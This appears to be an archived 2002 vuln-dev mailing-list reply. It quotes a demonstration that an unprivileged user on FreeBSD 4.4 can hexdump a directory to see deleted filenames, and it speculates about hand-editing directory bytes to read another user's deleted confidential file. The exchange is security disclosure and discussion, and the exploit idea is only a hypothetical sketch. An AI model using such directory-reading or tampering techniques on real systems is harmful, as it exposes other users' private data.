What happens if you change bytes 45, 46 and 47 to be the same as 2B, 2C
and 2D respectively in /public (and make it world read/writable) on
those affected systems?
Can you then read the file (Assuming they are attribute markers and
assuming that the file is not overwritten and assuming you can open a
directory for write..)?
Better still, what if you copied the hex of that directory then just
rewrote it inside a directory you created (getting around the DIR having
to be world RW)..
for example (using what you have written, I am on a Win2k box and so I
can't just cut&paste from a shell prompt, and guest is an unpriv user)
{guest}~$ uname -a
Some Old Vulnerable System running on a CPU since When_Noah_was_a_boy
{guest}~$ whoami
guest
{guest}~$ mkdir ~/test
{guest}~$ cd test
{guest}test$ touch TestFile1
{guest}test$ touch TestFile2
{guest}test$ cd ..
{guest}~$ <some hex editor> test
<now you change the contents of "test" to be exactly the same as /public
and therefore point to the
inodes/blocks/sectors/whatever-that-filesystem-calls-it that are pointed
to with /public except changing bytes to "undelete" the file>
{guest}~$ cd test
(hopefully and probably with much dreaming)
{guest}test$ cat confidential-doc
<body of document>
Just a thought.. I'm sure most MODERN filesystems are immune to this
sort of tampering..
(I'll have to look into low level directory editing with NTFS, I just
spent about 2 months manually recovering the $MFT with DiskEdit and
finding the corruption was on top of the sectors I wanted anyway, I have
to get something out of it, I doubt Windows NT+ would allow me to open a
directory, even one I own, for binary write..), but the cross linking
may cause a filesystem checking app to get it all wrong and give the
wrong person permissions maybe!?..
-- Benjamin Holmes
E&OE. All spelling and grammatical errors are for your enjoyment and
entertainment only and are copyright Benjamin Holmes. This message is
guaranteed free of exotic diseases. This e-mail message and any
attachments are confidential and may be privileged. If you are not the
intended recipient, please notify me immediately by replying to this
message and please destroy all copies of this message and attachments.
Please also try to forget everything you have read that was contained in
this E-Mail message, except this part, and you may not copy it. Thank
you.
> -----Original Message-----
> From: FozZy [mailto:fozzyat_private]
> Sent: Sunday, June 23, 2002 6:57 AM
> To: vuln-devat_private
> Subject: spying (deleted) file entries in other users' directories
>
>
> Hello,
>
> There is an old known (i hope) security issue if
> unpriviledged users are allowed to open() a directory to get
> a file descriptor and then read() the contents of this file.
> A directory is itself a file storing the names and inodes
> numbers (etc.) of the files it contains, including deleted
> ones. So if a user reads this file it can get the names of
> the deleted files.
>
> The examples below show that on an old FreeBSD4.4, if you
> store files into a private directory readable only by you,
> then you remove every sensitive files and give read-only
> access to everyone on the directory (no execute perm needed),
> the filenames will still show up to any user. Same thing if
> you change the directory name, of course. (mv bad; rm then
> mkdir rules ;)
>
> This becomes an issue when sensitive information is disclosed
> into the filename.
>
> Sorry if it was already done on this mailing-list, but if
> not, I think it could be interesting to some people to know
> what systems are still vulnerable and what are not.
> - Linux is immuned: the read() call return the error EISDIR.
> OpenBSD seems also to be OK.
> - FreeBSD 4.4 is vulnerable (didn't looked the CVS, it could
> be patched at this time, anybody knows ?)
> - I saw this for the first time 3 years ago on a SunOS system
> while doing "cat /root" as a user. I don't know if current
> Sun systems are patched or not.
>
> Don't misunderstand me, this is not an advisory on a new vuln
> i discovered, it is a request to the security community for
> publishing more info on this topic, cause i am too lazy to
> check it myself (although a quick search on google and
> securityfocus gave me nothing).
>
> Regards,
>
> FozZy
> Hackademy / Hackerz Voice
>
>
> rooted# uname -v
> FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT 2001
> murrayat_private:/usr/src/sys/compile/GE
> NERIC
> rooted# mkdir /test
> rooted# touch /test/public-doc
> rooted# chmod 700 /test
> rooted# ls -ld /test
> drwx------ 2 root wheel 512 Jun 22 13:01 /test
> rooted# touch /test/confidential-doc
> rooted# <...some work with the doc here...>
> rooted# rm /test/confidential-doc
> rooted# chmod 744 /test
> rooted# su guest
> $ hexdump -C /test
> 00000000 2d 4a 00 00 0c 00 04 01 2e 00 00 00 02 00 00 00
> |-J..............|
> 00000010 0c 00 04 02 2e 2e 00 00 d7 4a 00 00 e8 01 08 0a
> |.........J......|
> 00000020 70 75 62 6c 69 63 2d 64 6f 63 00 c8 d8 4a 00 00
> |public-doc...J..|
> 00000030 d4 01 08 10 63 6f 6e 66 69 64 65 6e 74 69 61 6c
> |....confidential|
> 00000040 2d 64 6f 63 00 ec 70 c8 00 00 00 00 00 00 00 00
> |-doc..p.........|
> 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> |................|
> *
> 00000200
> $ /bin/ls /test
> public-doc
> $ exit
> rooted# ls -l /test
> -rw-r--r-- 1 root wheel 0 Jun 22 13:01 public-doc
> rooted# mv /test /public
> rooted# chmod 755 /public
> rooted# su guest
> $ ls -l /public
> -rw-r--r-- 1 root wheel 0 Jun 22 13:01 public-doc
> $ hexdump -C /public
> 00000000 2d 4a 00 00 0c 00 04 01 2e 00 00 00 02 00 00 00
> |-J..............|
> 00000010 0c 00 04 02 2e 2e 00 00 d7 4a 00 00 e8 01 08 0a
> |.........J......|
> 00000020 70 75 62 6c 69 63 2d 64 6f 63 00 c8 d8 4a 00 00
> |public-doc...J..|
> 00000030 d4 01 08 10 63 6f 6e 66 69 64 65 6e 74 69 61 6c
> |....confidential|
> 00000040 2d 64 6f 63 00 ec 70 c8 00 00 00 00 00 00 00 00
> |-doc..p.........|
> 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> |................|
> *
> 00000200
> $ exit
>
>
>
This archive was generated by hypermail 2b30 : Tue Jul 02 2002 - 11:59:35 PDT